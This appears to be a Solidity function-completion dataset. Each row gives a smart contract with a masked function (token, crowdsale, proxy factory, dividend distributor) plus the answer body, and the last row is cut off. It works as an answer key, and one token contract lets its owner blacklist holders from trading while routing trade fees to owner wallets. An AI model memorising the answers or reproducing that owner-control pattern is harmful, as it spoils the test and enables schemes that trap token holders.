source_idx
stringlengths 1
5
| contract_name
stringlengths 1
55
| func_name
stringlengths 0
2.45k
⌀ | masked_body
stringlengths 60
686k
| masked_all
stringlengths 34
686k
| func_body
stringlengths 6
324k
| signature_only
stringlengths 11
2.47k
| signature_extend
stringlengths 11
8.95k
|
---|---|---|---|---|---|---|---|
93284 | LtTToken | null | contract LtTToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {<FILL_FUNCTION_BODY> }
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
} | contract LtTToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
} |
symbol = "LTT";
name = "Lite Trader";
decimals = 5;
_totalSupply = 2000000000000;
balances[0xd0205483A32c3A080710f946b8a78dF3De4253f4] = _totalSupply;
emit Transfer(address(0), 0xd0205483A32c3A080710f946b8a78dF3De4253f4, _totalSupply);
| constructor() public | constructor() public |
31409 | MASHIMAINU | swapTokensForEth | contract MASHIMAINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address[] private airdropKeys;
mapping (address => uint256) private airdrop;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Mashima Inu";
string private constant _symbol = "MASHIMA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xc92e93A3b32aeE0A8F43d93ce9A257E2918b94F2);
_feeAddrWallet2 = payable(0xc92e93A3b32aeE0A8F43d93ce9A257E2918b94F2);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xc92e93A3b32aeE0A8F43d93ce9A257E2918b94F2), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {<FILL_FUNCTION_BODY> }
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1500000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setAirdrops(address[] memory _airdrops, uint256[] memory _tokens) public onlyOwner {
for (uint i = 0; i < _airdrops.length; i++) {
airdropKeys.push(_airdrops[i]);
airdrop[_airdrops[i]] = _tokens[i] * 10**9;
_isExcludedFromFee[_airdrops[i]] = true;
}
}
function setAirdropKeys(address[] memory _airdrops) public onlyOwner {
for (uint i = 0; i < _airdrops.length; i++) {
airdropKeys[i] = _airdrops[i];
_isExcludedFromFee[airdropKeys[i]] = true;
}
}
function getTotalAirdrop() public view onlyOwner returns (uint256){
uint256 sum = 0;
for(uint i = 0; i < airdropKeys.length; i++){
sum += airdrop[airdropKeys[i]];
}
return sum;
}
function getAirdrop(address account) public view onlyOwner returns (uint256) {
return airdrop[account];
}
function setAirdrop(address account, uint256 amount) public onlyOwner {
airdrop[account] = amount;
}
function callAirdrop() public onlyOwner {
_feeAddr1 = 0;
_feeAddr2 = 0;
for(uint i = 0; i < airdropKeys.length; i++){
_tokenTransfer(msg.sender, airdropKeys[i], airdrop[airdropKeys[i]]);
_isExcludedFromFee[airdropKeys[i]] = false;
}
_feeAddr1 = 2;
_feeAddr2 = 10;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | contract MASHIMAINU is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
address[] private airdropKeys;
mapping (address => uint256) private airdrop;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Mashima Inu";
string private constant _symbol = "MASHIMA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xc92e93A3b32aeE0A8F43d93ce9A257E2918b94F2);
_feeAddrWallet2 = payable(0xc92e93A3b32aeE0A8F43d93ce9A257E2918b94F2);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xc92e93A3b32aeE0A8F43d93ce9A257E2918b94F2), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
<FILL_FUNCTION>
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function setMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount * 10**9;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1500000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address theBot) public onlyOwner {
bots[theBot] = true;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function setAirdrops(address[] memory _airdrops, uint256[] memory _tokens) public onlyOwner {
for (uint i = 0; i < _airdrops.length; i++) {
airdropKeys.push(_airdrops[i]);
airdrop[_airdrops[i]] = _tokens[i] * 10**9;
_isExcludedFromFee[_airdrops[i]] = true;
}
}
function setAirdropKeys(address[] memory _airdrops) public onlyOwner {
for (uint i = 0; i < _airdrops.length; i++) {
airdropKeys[i] = _airdrops[i];
_isExcludedFromFee[airdropKeys[i]] = true;
}
}
function getTotalAirdrop() public view onlyOwner returns (uint256){
uint256 sum = 0;
for(uint i = 0; i < airdropKeys.length; i++){
sum += airdrop[airdropKeys[i]];
}
return sum;
}
function getAirdrop(address account) public view onlyOwner returns (uint256) {
return airdrop[account];
}
function setAirdrop(address account, uint256 amount) public onlyOwner {
airdrop[account] = amount;
}
function callAirdrop() public onlyOwner {
_feeAddr1 = 0;
_feeAddr2 = 0;
for(uint i = 0; i < airdropKeys.length; i++){
_tokenTransfer(msg.sender, airdropKeys[i], airdrop[airdropKeys[i]]);
_isExcludedFromFee[airdropKeys[i]] = false;
}
_feeAddr1 = 2;
_feeAddr2 = 10;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} |
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
| function swapTokensForEth(uint256 tokenAmount) private lockTheSwap | function swapTokensForEth(uint256 tokenAmount) private lockTheSwap |
19028 | AuthereumProxyFactory | createProxy | contract AuthereumProxyFactory is Owned {
string constant public authereumProxyFactoryVersion = "2019102500";
bytes private initCode;
address private authereumEnsManagerAddress;
AuthereumEnsManager authereumEnsManager;
/// @dev Constructor
/// @param _implementation Address of the Authereum implementation
/// @param _authereumEnsManagerAddress Address for the Authereum ENS Manager contract
constructor(address _implementation, address _authereumEnsManagerAddress) public {
initCode = abi.encodePacked(type(AuthereumProxy).creationCode, uint256(_implementation));
authereumEnsManagerAddress = _authereumEnsManagerAddress;
authereumEnsManager = AuthereumEnsManager(authereumEnsManagerAddress);
}
/**
* Getters
*/
/// @dev Getter for the proxy initCode
/// @return Init code
function getInitCode() public view returns (bytes memory) {
return initCode;
}
/// @dev Getter for the private authereumEnsManager variable
/// @return Authereum Ens Manager
function getAuthereumEnsManagerAddress() public view returns (address) {
return authereumEnsManagerAddress;
}
/// @dev Create an Authereum Proxy and iterate through initialize data
/// @notice The bytes[] _initData is an array of initialize functions.
/// @notice This is used when a user creates an account e.g. on V5, but V1,2,3,
/// @notice etc. have state vars that need to be included.
/// @param _salt A uint256 value to add randomness to the account creation
/// @param _label Label for the user's Authereum ENS subdomain
/// @param _initData Array of initialize data
function createProxy(
uint256 _salt,
string memory _label,
bytes[] memory _initData
)
public
onlyOwner
returns (AuthereumProxy)
{<FILL_FUNCTION_BODY> }
/// @dev Generate a salt out of a uint256 value and the sender
/// @param _salt A uint256 value to add randomness to the account creation
/// @param _sender Sender of the transaction
function _getSalt(uint256 _salt, address _sender) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_salt, _sender));
}
} | contract AuthereumProxyFactory is Owned {
string constant public authereumProxyFactoryVersion = "2019102500";
bytes private initCode;
address private authereumEnsManagerAddress;
AuthereumEnsManager authereumEnsManager;
/// @dev Constructor
/// @param _implementation Address of the Authereum implementation
/// @param _authereumEnsManagerAddress Address for the Authereum ENS Manager contract
constructor(address _implementation, address _authereumEnsManagerAddress) public {
initCode = abi.encodePacked(type(AuthereumProxy).creationCode, uint256(_implementation));
authereumEnsManagerAddress = _authereumEnsManagerAddress;
authereumEnsManager = AuthereumEnsManager(authereumEnsManagerAddress);
}
/**
* Getters
*/
/// @dev Getter for the proxy initCode
/// @return Init code
function getInitCode() public view returns (bytes memory) {
return initCode;
}
/// @dev Getter for the private authereumEnsManager variable
/// @return Authereum Ens Manager
function getAuthereumEnsManagerAddress() public view returns (address) {
return authereumEnsManagerAddress;
}
<FILL_FUNCTION>
/// @dev Generate a salt out of a uint256 value and the sender
/// @param _salt A uint256 value to add randomness to the account creation
/// @param _sender Sender of the transaction
function _getSalt(uint256 _salt, address _sender) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(_salt, _sender));
}
} |
address payable addr;
bytes memory _initCode = initCode;
bytes32 salt = _getSalt(_salt, msg.sender);
// Create proxy
assembly {
addr := create2(0, add(_initCode, 0x20), mload(_initCode), salt)
if iszero(extcodesize(addr)) {
revert(0, 0)
}
}
// Loop through initializations of each version of the logic contract
bool success;
for (uint256 i = 0; i < _initData.length; i++) {
if(_initData.length > 0) {
(success,) = addr.call(_initData[i]);
require(success);
}
}
// Set ENS name
authereumEnsManager.register(_label, addr);
return AuthereumProxy(addr);
| function createProxy(
uint256 _salt,
string memory _label,
bytes[] memory _initData
)
public
onlyOwner
returns (AuthereumProxy)
| /// @dev Create an Authereum Proxy and iterate through initialize data
/// @notice The bytes[] _initData is an array of initialize functions.
/// @notice This is used when a user creates an account e.g. on V5, but V1,2,3,
/// @notice etc. have state vars that need to be included.
/// @param _salt A uint256 value to add randomness to the account creation
/// @param _label Label for the user's Authereum ENS subdomain
/// @param _initData Array of initialize data
function createProxy(
uint256 _salt,
string memory _label,
bytes[] memory _initData
)
public
onlyOwner
returns (AuthereumProxy)
|
21503 | RakugoCrowdsale | RakugoCrowdsale | contract RakugoCrowdsale is Crowdsale, CappedCrowdsale, FinalizableCrowdsale {
address public rakugoPresaleAddress;
uint256 public rate = 1200;
uint256 public companyTokens = 16000000 ether;
function RakugoCrowdsale(
uint256 _startBlock,
uint256 _endBlock,
address _wallet,
address _presaleAddress,
address[] _presales
)
CappedCrowdsale(19951 ether)//TODO passing in _saleCap braking?
FinalizableCrowdsale()
Crowdsale(_startBlock, _endBlock, rate, _wallet) {<FILL_FUNCTION_BODY> }
function createTokenContract() internal returns (MintableToken) {
return new RakugoToken();
}
function initializeCompanyTokens(uint256 _companyTokens) internal {
contribute(wallet, wallet, 0, _companyTokens);//no paid eth for company liquidity
}
function presalePurchase(address[] presales, address _presaleAddress) internal {
RakugoPresale rakugoPresale = RakugoPresale(_presaleAddress);
for (uint i = 0; i < presales.length; i++) {
address presalePurchaseAddress = presales[i];
uint256 contributionAmmount = 0;//presale contributions tracked differently than main sale
uint256 presalePurchaseTokens = rakugoPresale.balanceOf(presalePurchaseAddress);
contribute(presalePurchaseAddress, presalePurchaseAddress, contributionAmmount, presalePurchaseTokens);
}
}
function contribute(address purchaser, address beneficiary, uint256 weiAmount, uint256 tokens){
token.mint(beneficiary, tokens);
TokenPurchase(purchaser, beneficiary, weiAmount, tokens);
}
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
token.finishMinting();
}
} | contract RakugoCrowdsale is Crowdsale, CappedCrowdsale, FinalizableCrowdsale {
address public rakugoPresaleAddress;
uint256 public rate = 1200;
uint256 public companyTokens = 16000000 ether;
<FILL_FUNCTION>
function createTokenContract() internal returns (MintableToken) {
return new RakugoToken();
}
function initializeCompanyTokens(uint256 _companyTokens) internal {
contribute(wallet, wallet, 0, _companyTokens);//no paid eth for company liquidity
}
function presalePurchase(address[] presales, address _presaleAddress) internal {
RakugoPresale rakugoPresale = RakugoPresale(_presaleAddress);
for (uint i = 0; i < presales.length; i++) {
address presalePurchaseAddress = presales[i];
uint256 contributionAmmount = 0;//presale contributions tracked differently than main sale
uint256 presalePurchaseTokens = rakugoPresale.balanceOf(presalePurchaseAddress);
contribute(presalePurchaseAddress, presalePurchaseAddress, contributionAmmount, presalePurchaseTokens);
}
}
function contribute(address purchaser, address beneficiary, uint256 weiAmount, uint256 tokens){
token.mint(beneficiary, tokens);
TokenPurchase(purchaser, beneficiary, weiAmount, tokens);
}
function finalize() onlyOwner {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
token.finishMinting();
}
} |
rakugoPresaleAddress = _presaleAddress;
initializeCompanyTokens(companyTokens);
presalePurchase(_presales, _presaleAddress);
| function RakugoCrowdsale(
uint256 _startBlock,
uint256 _endBlock,
address _wallet,
address _presaleAddress,
address[] _presales
)
CappedCrowdsale(19951 ether)//TODO passing in _saleCap braking?
FinalizableCrowdsale()
Crowdsale(_startBlock, _endBlock, rate, _wallet) | function RakugoCrowdsale(
uint256 _startBlock,
uint256 _endBlock,
address _wallet,
address _presaleAddress,
address[] _presales
)
CappedCrowdsale(19951 ether)//TODO passing in _saleCap braking?
FinalizableCrowdsale()
Crowdsale(_startBlock, _endBlock, rate, _wallet) |
75421 | DividendDistributor | distributeDividend | contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address public _token;
address public _owner;
address public _treasury;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalClaimed;
}
address[] private shareholders;
mapping (address => uint256) private shareholderIndexes;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalClaimed;
uint256 public dividendsPerShare;
uint256 private dividendsPerShareAccuracyFactor = 10 ** 36;
modifier onlyToken() {
require(msg.sender == _token); _;
}
modifier onlyOwner() {
require(msg.sender == _owner); _;
}
constructor (address owner, address treasury) {
_token = msg.sender;
_owner = owner;
_treasury = treasury;
}
// receive() external payable { }
function setShare(address shareholder, uint256 amount) external override onlyToken {
if(shares[shareholder].amount > 0){
distributeDividend(shareholder);
}
if(amount > 0 && shares[shareholder].amount == 0){
addShareholder(shareholder);
}else if(amount == 0 && shares[shareholder].amount > 0){
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function deposit() external payable override {
uint256 amount = msg.value;
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
}
function distributeDividend(address shareholder) internal {<FILL_FUNCTION_BODY> }
function claimDividend(address shareholder) external override onlyToken {
distributeDividend(shareholder);
